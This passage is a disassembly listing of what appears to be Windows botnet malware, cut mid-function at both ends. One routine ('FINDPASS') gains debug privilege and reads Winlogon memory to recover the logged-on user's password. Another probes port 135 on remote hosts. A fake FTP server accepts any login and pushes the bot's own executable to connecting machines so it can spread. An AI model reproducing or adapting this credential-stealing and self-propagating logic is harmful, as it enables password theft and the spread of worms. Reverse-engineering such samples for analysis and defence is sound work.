ds:dword_420070 ; ReadProcessMemory test eax, eax jz short loc_403595 push offset dword_433F30 push esi call sub_41F3DC test eax, eax pop ecx pop ecx jnz short loc_403595 lea eax, [esi+400h] push offset dword_434738 push eax call sub_41F3DC test eax, eax pop ecx pop ecx jz short loc_4035C7 loc_403595: ; CODE XREF: sub_4034D6+95j ; sub_4034D6+A6j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap jmp short loc_4035A9 ; --------------------------------------------------------------------------- loc_4035A3: ; CODE XREF: sub_4034D6+5Bj mov eax, [ebp+var_4C] mov [ebp+var_8], eax loc_4035A9: ; CODE XREF: sub_4034D6+67j ; sub_4034D6+6Dj ... add ebx, [ebp+var_8] cmp ebx, [ebp+var_10] jb loc_40351F loc_4035B5: ; CODE XREF: sub_4034D6+3Dj xor esi, esi loc_4035B7: ; CODE XREF: sub_4034D6+123j push [ebp+var_4] call ds:dword_42003C ; CloseHandle pop edi mov eax, esi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4035C7: ; CODE XREF: sub_4034D6+BDj add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_434F48, ebx mov dword_434F4C, eax cmp [eax], cl jnz short loc_4035E9 cmp [eax+1], cl jz short loc_4035F1 loc_4035E9: ; CODE XREF: sub_4034D6+10Cj ; sub_4034D6+119j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4035E9 loc_4035F1: ; CODE XREF: sub_4034D6+111j mov eax, [ebp+arg_4] xor esi, esi mov [eax], ecx inc esi jmp short loc_4035B7 sub_4034D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035FB proc near ; CODE XREF: sub_40378E+134p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_434F44 add eax, eax push ebx mov ebx, ds:dword_420060 mov [ebp+var_8], ax add eax, 2 push esi mov [ebp+var_6], ax movzx eax, ax push edi push eax push 8 call ebx ; GetProcessHeap push eax call ds:dword_42005C ; RtlAllocateHeap mov ecx, dword_434F44 mov esi, dword_434F4C mov edi, eax lea eax, [ebp+var_8] push eax mov [ebp+var_4], edi xor eax, eax rep movsw mov al, byte ptr dword_434F50 push eax call dword_434734 push [ebp+var_4] mov esi, offset dword_434F58 push offset dword_433F30 push offset dword_434738 push [ebp+arg_0] push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push esi call sub_41466D add esp, 1Ch push [ebp+var_4] push 0 call ebx ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap pop edi mov eax, esi pop esi pop ebx leave retn sub_4035FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40368D proc near ; CODE XREF: sub_40378E:loc_4038C9p var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_434F44 add eax, eax push ebx mov [ebp+var_C], ax add eax, 2 push esi mov [ebp+var_A], ax movzx eax, ax push edi push eax push 8 call ds:dword_420060 ; GetProcessHeap push eax call ds:dword_42005C ; RtlAllocateHeap and [ebp+var_4], 0 mov [ebp+var_8], eax mov ebx, offset dword_435158 loc_4036C7: ; CODE XREF: sub_40368D+E2j mov ecx, dword_434F44 mov esi, dword_434F4C mov edi, [ebp+var_8] lea eax, [ebp+var_C] push eax push [ebp+var_4] rep movsw call dword_434734 mov eax, dword_434F44 mov esi, [ebp+var_8] xor edx, edx inc edx xor edi, edi test eax, eax jbe short loc_403720 loc_4036F7: ; CODE XREF: sub_40368D+8Dj test edx, edx jz short loc_403745 mov cl, [esi] test cl, cl jz short loc_403713 cmp byte ptr [esi+1], 0 jnz short loc_403713 cmp cl, 20h jnb short loc_40370E xor edx, edx loc_40370E: ; CODE XREF: sub_40368D+7Dj cmp cl, 7Eh jbe short loc_403715 loc_403713: ; CODE XREF: sub_40368D+72j ; sub_40368D+78j xor edx, edx loc_403715: ; CODE XREF: sub_40368D+84j inc esi inc esi inc edi cmp edi, eax jb short loc_4036F7 test edx, edx jz short loc_403745 loc_403720: ; CODE XREF: sub_40368D+68j push [ebp+var_8] push offset dword_433F30 push offset dword_434738 push [ebp+arg_0] push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push ebx call sub_41466D add esp, 1Ch jmp short loc_403765 ; --------------------------------------------------------------------------- loc_403745: ; CODE XREF: sub_40368D+6Cj ; sub_40368D+91j push offset dword_433F30 push offset dword_434738 push [ebp+arg_0] push offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push ebx call sub_41466D add esp, 18h loc_403765: ; CODE XREF: sub_40368D+B6j inc [ebp+var_4] cmp [ebp+var_4], 0FFh jbe loc_4036C7 push [ebp+var_8] push 0 call ds:dword_420060 ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap pop edi pop esi mov eax, ebx pop ebx leave retn sub_40368D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40378E proc near ; DATA XREF: sub_4089DC+4109o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 29Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+74h+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_4115A4 cmp eax, esi mov [ebp+74h+var_4], eax jz short loc_4037CD cmp eax, 2 jz short loc_4037CD push offset aFindpassOnlySu ; "[FINDPASS]: Only supported on Windows N"... jmp loc_40390A ; --------------------------------------------------------------------------- loc_4037CD: ; CODE XREF: sub_40378E+2Ej ; sub_40378E+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40815F test eax, eax pop ecx pop ecx jz loc_403905 push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_420088 ; LoadLibraryA mov esi, ds:dword_420084 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+74h+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_434730, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_434F38, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_434F3C, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_434F40, eax call esi ; GetProcAddress mov dword_434734, eax call sub_4031AF test eax, eax mov [ebp+74h+arg_0], eax jz loc_4038D9 mov esi, ds:dword_420080 mov edi, 400h push edi mov ebx, offset dword_433F30 push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_434738 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+74h+var_4], 1 push offset dword_434F44 push [ebp+74h+arg_0] jnz short loc_403885 call sub_403338 jmp short loc_40388A ; --------------------------------------------------------------------------- loc_403885: ; CODE XREF: sub_40378E+EEj call sub_4034D6 loc_40388A: ; CODE XREF: sub_40378E+F5j test eax, eax pop ecx pop ecx jz short loc_4038D2 cmp dword_434F44, 0 jnz short loc_4038B9 push ebx push edi push [ebp+74h+arg_0] lea eax, [ebp+74h+var_29C] push offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push eax call sub_41466D add esp, 18h jmp short loc_4038EC ; --------------------------------------------------------------------------- loc_4038B9: ; CODE XREF: sub_40378E+109j cmp [ebp+74h+var_4], 1 push [ebp+74h+arg_0] jnz short loc_4038C9 call sub_4035FB jmp short loc_4038CE ; --------------------------------------------------------------------------- loc_4038C9: ; CODE XREF: sub_40378E+132j call sub_40368D loc_4038CE: ; CODE XREF: sub_40378E+139j pop ecx push eax jmp short loc_4038DE ; --------------------------------------------------------------------------- loc_4038D2: ; CODE XREF: sub_40378E+100j push offset aFindpassUnable ; "[FINDPASS]: Unable to find the password"... jmp short loc_4038DE ; --------------------------------------------------------------------------- loc_4038D9: ; CODE XREF: sub_40378E+B5j push offset aFindpassUnab_0 ; "[FINDPASS]: Unable to find Winlogon Pro"... loc_4038DE: ; CODE XREF: sub_40378E+142j ; sub_40378E+149j lea eax, [ebp+74h+var_29C] push eax call sub_414415 pop ecx pop ecx loc_4038EC: ; CODE XREF: sub_40378E+129j push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40815F pop ecx pop ecx push [ebp+74h+var_8] call ds:dword_42007C ; FreeLibrary jmp short loc_403918 ; --------------------------------------------------------------------------- loc_403905: ; CODE XREF: sub_40378E+4Ej push offset aFindpassFailed ; "[FINDPASS]: Failed to enable Debug Priv"... loc_40390A: ; CODE XREF: sub_40378E+3Aj lea eax, [ebp+74h+var_29C] push eax call sub_414415 pop ecx pop ecx loc_403918: ; CODE XREF: sub_40378E+175j xor esi, esi cmp [ebp+74h+var_10], esi jnz short loc_403939 push esi push [ebp+74h+var_14] lea eax, [ebp+74h+var_29C] push eax lea eax, [ebp+74h+var_98] push eax push [ebp+74h+var_9C] call sub_4056BF add esp, 14h loc_403939: ; CODE XREF: sub_40378E+18Fj lea eax, [ebp+74h+var_29C] push eax call sub_401EFF push [ebp+74h+var_18] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40378E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403957 proc near ; CODE XREF: sub_40398A+11Cp ; sub_40398A+145p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov edx, [ebp+arg_4] sub edx, [ebp+arg_C] push ebx push esi xor eax, eax test edx, edx push edi jle short loc_40397F loc_403969: ; CODE XREF: sub_403957+26j mov esi, [ebp+arg_0] mov ecx, [ebp+arg_C] mov edi, [ebp+arg_8] add esi, eax xor ebx, ebx repe cmpsb jz short loc_403986 inc eax cmp eax, edx jl short loc_403969 loc_40397F: ; CODE XREF: sub_403957+10j xor al, al loc_403981: ; CODE XREF: sub_403957+31j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_403986: ; CODE XREF: sub_403957+21j mov al, 1 jmp short loc_403981 sub_403957 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40398A proc near ; CODE XREF: .text:00413522p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_414630 mov eax, [ebp+arg_4] dec eax jz short loc_4039C7 dec eax jz short loc_4039A5 dec eax xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4039A5: ; CODE XREF: sub_40398A+14j push 3 push 1388h push [ebp+arg_0] call dword_43587C ; inet_addr push eax call sub_4018CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 leave retn ; --------------------------------------------------------------------------- loc_4039C7: ; CODE XREF: sub_40398A+11j push ebx push esi push 6 push 1 push 2 call dword_435808 ; socket mov esi, eax or ebx, 0FFFFFFFFh xor eax, eax cmp esi, ebx mov [ebp+arg_4], esi jz loc_403AEC push edi lea edi, [ebp+var_10] stosd stosd stosd stosd push 87h mov [ebp+var_10], 2 call dword_435954 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_407BFF pop ecx mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push esi call dword_4357C0 ; connect cmp eax, ebx jz short loc_403A36 xor edi, edi push edi push 48h push offset dword_42B3E0 push esi call dword_43589C ; send cmp eax, ebx jnz short loc_403A3D loc_403A36: ; CODE XREF: sub_40398A+95j ; sub_40398A+CCj ... xor esi, esi jmp loc_403AE0 ; --------------------------------------------------------------------------- loc_403A3D: ; CODE XREF: sub_40398A+AAj push edi mov esi, 2000h push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_43577C ; recv cmp eax, ebx jz short loc_403A36 cmp [ebp+var_200E], 0Ch jnz short loc_403A36 push edi push 18h push offset dword_42B42C push [ebp+arg_4] call dword_43589C ; send cmp eax, ebx jz short loc_403A36 push edi push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_43577C ; recv mov esi, eax cmp esi, ebx jz short loc_403A36 cmp [ebp+var_200E], 2 jnz short loc_403A36 push 10h push offset loc_42B448 lea eax, [ebp+var_2010] push esi push eax call sub_403957 add esp, 10h test al, al jz short loc_403AC0 xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_403ADE ; --------------------------------------------------------------------------- loc_403AC0: ; CODE XREF: sub_40398A+126j push 10h push offset dword_42B45C lea eax, [ebp+var_2010] push esi push eax call sub_403957 add esp, 10h neg al sbb eax, eax and eax, 3 loc_403ADE: ; CODE XREF: sub_40398A+134j mov esi, eax loc_403AE0: ; CODE XREF: sub_40398A+AEj push [ebp+arg_4] call dword_435914 ; closesocket mov eax, esi pop edi loc_403AEC: ; CODE XREF: sub_40398A+57j pop esi pop ebx leave retn sub_40398A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AF0 proc near ; CODE XREF: sub_403BFF+4A2p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_420200 ; WSAStartup push 0 push 1 push 2 call ds:dword_420204 ; socket push [ebp+arg_0] mov dword_435358, eax mov [ebp+var_10], 2 call ds:dword_420208 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_42020C ; htons mov [ebp+var_E], ax push 10h lea eax, [ebp+var_10] push eax push dword_435358 call ds:dword_420210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_403B68 push dword_435358 call ds:dword_420214 ; closesocket call ds:dword_420218 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403B68: ; CODE XREF: sub_403AF0+60j xor eax, eax inc eax leave retn sub_403AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B6D proc near ; CODE XREF: sub_403BFF+4AEp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi push 104h lea eax, [ebp+var_104] push eax push 0 call ds:dword_420010 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_420978 push eax call sub_414BF3 mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_403BDA jmp short loc_403BFC ; --------------------------------------------------------------------------- loc_403BA6: ; CODE XREF: sub_403B6D+72j push 400h lea eax, [ebp+var_504] push 1 push eax call sub_41499E add esp, 10h push 0 push eax lea eax, [ebp+var_504] push eax push dword_435358 call ds:dword_4201FC ; send push 0Ah call ds:dword_420000 ; Sleep loc_403BDA: ; CODE XREF: sub_403B6D+35j test byte ptr [esi+0Ch], 10h push esi jz short loc_403BA6 call sub_4147F3 pop ecx push dword_435358 call ds:dword_420214 ; closesocket call ds:dword_420218 ; WSACleanup xor eax, eax inc eax loc_403BFC: ; CODE XREF: sub_403B6D+37j pop esi leave retn sub_403B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_403BFF proc near ; DATA XREF: sub_401141+254o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0A6Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax xor ebx, ebx inc ebx mov ecx, 0A9h lea edi, [ebp+74h+var_6DC] rep movsd mov [eax+2A0h], ebx lea eax, [ebp+74h+var_A6C] push eax xor esi, esi push 101h mov [ebp+74h+var_18], ebx mov [ebp+74h+var_1C], ebx mov [ebp+74h+var_228], esi mov [ebp+74h+var_438], esi call ds:dword_420200 ; WSAStartup push esi call sub_415250 push eax call sub_4145C4 mov eax, [ebp+74h+arg_0] mov eax, [eax+214h] pop ecx pop ecx push esi push ebx push 2 mov dword_43535C, eax call ds:dword_420204 ; socket mov ebx, eax push 4 lea eax, [ebp+74h+var_18] push eax push 4 push 0FFFFh push ebx mov [ebp+74h+var_8], ebx call ds:dword_4201DC ; setsockopt lea eax, [ebp+74h+var_1C] push eax push 8004667Eh push ebx call ds:dword_4201E0 ; ioctlsocket xor eax, eax mov ax, word ptr dword_43535C mov [ebp+74h+var_38], 2 mov [ebp+74h+var_34], esi push eax call ds:dword_42020C ; htons mov [ebp+74h+var_36], ax push 10h lea eax, [ebp+74h+var_38] push eax push ebx call ds:dword_4201E4 ; bind test eax, eax jl loc_404199 push 0Ah push ebx call ds:dword_4201E8 ; listen push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] mov [ebp+74h+var_224], ebx mov [ebp+74h+var_4], ebx push eax inc ebx lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] mov [ebp+74h+var_228], 1 push ebx rep movsd call ds:dword_4201EC ; select cmp eax, 0FFFFFFFFh jz loc_404199 mov ebx, ds:dword_4201FC loc_403D1E: ; CODE XREF: sub_403BFF+594j xor esi, esi cmp [ebp+74h+var_4], esi mov [ebp+74h+arg_0], esi jl loc_404168 loc_403D2C: ; CODE XREF: sub_403BFF+563j push 19h pop ecx xor eax, eax push 19h lea edi, [ebp+74h+var_29C] rep stosd pop ecx lea edi, [ebp+74h+var_AC] rep stosd lea eax, [ebp+74h+var_438] push eax push esi call sub_41F3D0 ; __WSAFDIsSet test eax, eax jz loc_40415B cmp esi, [ebp+74h+var_8] jnz short loc_403DC6 push 10h pop edi lea eax, [ebp+74h+var_24] push eax lea eax, [ebp+74h+var_238] push eax push [ebp+74h+var_8] mov [ebp+74h+var_24], edi call ds:dword_4201F4 ; accept cmp eax, 0FFFFFFFFh jz loc_40415B mov edx, [ebp+74h+var_228] xor ecx, ecx test edx, edx jbe short loc_403D98 loc_403D8A: ; CODE XREF: sub_403BFF+197j cmp [ebp+ecx*4+74h+var_224], eax jz short loc_403D98 inc ecx cmp ecx, edx jb short loc_403D8A loc_403D98: ; CODE XREF: sub_403BFF+189j ; sub_403BFF+192j cmp ecx, edx jnz short loc_403DAE cmp edx, 40h jnb short loc_403DAE mov [ebp+ecx*4+74h+var_224], eax inc [ebp+74h+var_228] loc_403DAE: ; CODE XREF: sub_403BFF+19Bj ; sub_403BFF+1A0j cmp eax, [ebp+74h+var_4] jle short loc_403DB6 mov [ebp+74h+var_4], eax loc_403DB6: ; CODE XREF: sub_403BFF+1B2j push 0 push edi push offset a220Winftpd1_2 ; "220 WinFtpd 1.2\n" push eax call ebx ; send jmp loc_40415B ; --------------------------------------------------------------------------- loc_403DC6: ; CODE XREF: sub_403BFF+15Aj push 0 push 64h lea eax, [ebp+74h+var_29C] push eax push esi call ds:dword_4201F8 ; recv test eax, eax jg short loc_403E24 mov ecx, [ebp+74h+var_228] xor eax, eax test ecx, ecx jbe short loc_403E18 loc_403DE8: ; CODE XREF: sub_403BFF+1F5j cmp [ebp+eax*4+74h+var_224], esi jz short loc_403E0D inc eax cmp eax, ecx jb short loc_403DE8 jmp short loc_403E18 ; --------------------------------------------------------------------------- loc_403DF8: ; CODE XREF: sub_403BFF+211j mov ecx, [ebp+eax*4+74h+var_220] mov [ebp+eax*4+74h+var_224], ecx mov ecx, [ebp+74h+var_228] inc eax loc_403E0D: ; CODE XREF: sub_403BFF+1F0j dec ecx cmp eax, ecx jb short loc_403DF8 dec [ebp+74h+var_228] loc_403E18: ; CODE XREF: sub_403BFF+1E7j ; sub_403BFF+1F7j push esi call ds:dword_420214 ; closesocket jmp loc_40415B ; --------------------------------------------------------------------------- loc_403E24: ; CODE XREF: sub_403BFF+1DBj lea eax, [ebp+74h+var_334] push eax lea eax, [ebp+74h+var_AC] push eax lea eax, [ebp+74h+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_4145F3 add esp, 10h push 5 pop edx mov edi, offset aUser_0 ; "USER" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_403E63 push eax push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403E63: ; CODE XREF: sub_403BFF+255j mov edi, offset aPass ; "PASS" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_403E80 push eax push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_403BFF+272j mov edi, offset aSyst ; "SYST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_403E9D push eax push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403E9D: ; CODE XREF: sub_403BFF+28Fj mov edi, offset aRest ; "REST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_403EBA push eax push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403EBA: ; CODE XREF: sub_403BFF+2ACj push 4 mov edi, offset off_4211C0 lea esi, [ebp+74h+var_AC] pop ecx xor eax, eax repe cmpsb jnz short loc_403ED8 push eax push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403ED8: ; CODE XREF: sub_403BFF+2CAj mov eax, offset aType ; "TYPE" mov ecx, edx mov edi, eax lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz short loc_403F0B push 2 mov edi, offset aA_0 ; "A" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_403F0B push edx push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403F0B: ; CODE XREF: sub_403BFF+2E9j ; sub_403BFF+2FDj mov edi, eax push 5 pop eax lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_403F3C push 2 mov edi, offset aI ; "I" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_403F3C push edx push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_403F3C: ; CODE XREF: sub_403BFF+31Aj ; sub_403BFF+32Ej mov edi, offset aPasv ; "PASV" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_403F7B push 0Ah pop ecx mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... lea edi, [ebp+74h+var_124] rep movsd lea eax, [ebp+74h+var_124] movsw lea edx, [eax+1] loc_403F67: ; CODE XREF: sub_403BFF+36Dj mov cl, [eax] inc eax test cl, cl jnz short loc_403F67 sub eax, edx push 0 push eax lea eax, [ebp+74h+var_124] jmp short loc_403FAF ; --------------------------------------------------------------------------- loc_403F7B: ; CODE XREF: sub_403BFF+34Bj mov edi, offset aList ; "LIST" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb mov ecx, eax jnz short loc_403FB5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" lea edi, [ebp+74h+var_C4] rep movsd movsw lea eax, [ebp+74h+var_C4] movsb lea edx, [eax+1] loc_403FA0: ; CODE XREF: sub_403BFF+3A6j mov cl, [eax] inc eax test cl, cl jnz short loc_403FA0 sub eax, edx push 0 push eax lea eax, [ebp+74h+var_C4] loc_403FAF: ; CODE XREF: sub_403BFF+37Aj push eax jmp loc_404146 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_403BFF+38Cj mov edi, offset aPort ; "PORT" lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz loc_404079 lea eax, [ebp+74h+var_2D0] push eax lea eax, [ebp+74h+var_F8] push eax lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_4145F3 lea eax, [ebp+74h+var_F8] push eax call sub_4147A2 mov esi, eax lea eax, [ebp+74h+var_2D0] push eax call sub_4147A2 push 0Ch mov edx, eax pop ecx xor eax, eax lea edi, [ebp+74h+var_F8] rep stosd push edx push esi stosw lea eax, [ebp+74h+var_F8] push offset aXX ; "%x%x\n" push eax call sub_414415 push 10h lea eax, [ebp+74h+var_F8] push 0 push eax call sub_415239 mov [ebp+74h+var_10], eax add esp, 44h lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_414415 add esp, 18h push 0 push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_404146 ; --------------------------------------------------------------------------- loc_404079: ; CODE XREF: sub_403BFF+3C2j mov edi, offset aRetr ; "RETR" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz loc_40412E push edx push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+74h+arg_0] call ebx ; send push [ebp+74h+var_10] lea eax, [ebp+74h+var_48] push eax call sub_403AF0 cmp eax, 1 pop ecx pop ecx jnz short loc_404123 call sub_403B6D cmp eax, 1 jnz loc_40414B xor esi, esi push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+74h+arg_0] call ebx ; send lea eax, [ebp+74h+var_6D8] push eax lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_8DC] push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"... push eax call sub_414415 add esp, 10h cmp [ebp+74h+var_440], esi jnz short loc_404114 push esi push [ebp+74h+var_444] lea eax, [ebp+74h+var_8DC] push eax lea eax, [ebp+74h+var_4C4] push eax push [ebp+74h+var_6DC] call sub_4056BF add esp, 14h loc_404114: ; CODE XREF: sub_403BFF+4F0j lea eax, [ebp+74h+var_8DC] push eax call sub_401EFF pop ecx jmp short loc_40414B ; --------------------------------------------------------------------------- loc_404123: ; CODE XREF: sub_403BFF+4ACj push 0 push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_404146 ; --------------------------------------------------------------------------- loc_40412E: ; CODE XREF: sub_403BFF+488j mov ecx, eax mov edi, offset aQuit ; "QUIT" lea esi, [ebp+74h+var_AC] xor eax, eax repe cmpsb jnz short loc_40414B push eax push 0Dh push offset a221Goodbye_ ; "221 Goodbye.\n" loc_404146: ; CODE XREF: sub_403BFF+25Fj ; sub_403BFF+27Cj ... push [ebp+74h+arg_0] call ebx ; send loc_40414B: ; CODE XREF: sub_403BFF+4B6j ; sub_403BFF+522j ... mov esi, [ebp+74h+arg_0] push 19h pop ecx xor eax, eax lea edi, [ebp+74h+var_29C] rep stosd loc_40415B: ; CODE XREF: sub_403BFF+151j ; sub_403BFF+179j ... inc esi cmp esi, [ebp+74h+var_4] mov [ebp+74h+arg_0], esi jle loc_403D2C loc_404168: ; CODE XREF: sub_403BFF+127j push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] push eax mov eax, [ebp+74h+var_4] inc eax lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] push eax rep movsd call ds:dword_4201EC ; select cmp eax, 0FFFFFFFFh jnz loc_403D1E loc_404199: ; CODE XREF: sub_403BFF+C9j ; sub_403BFF+113j pop edi xor eax, eax pop esi inc eax pop ebx add ebp, 74h leave retn 4 sub_403BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041A6 proc near ; CODE XREF: sub_404AC0+149p ; sub_4089DC+38F4p var_598 = byte ptr -598h var_494 = byte ptr -494h var_38C = dword ptr -38Ch var_378 = byte ptr -378h var_36C = dword ptr -36Ch var_360 = byte ptr -360h var_24C = byte ptr -24Ch var_4C = byte ptr -4Ch var_24 = byte ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = 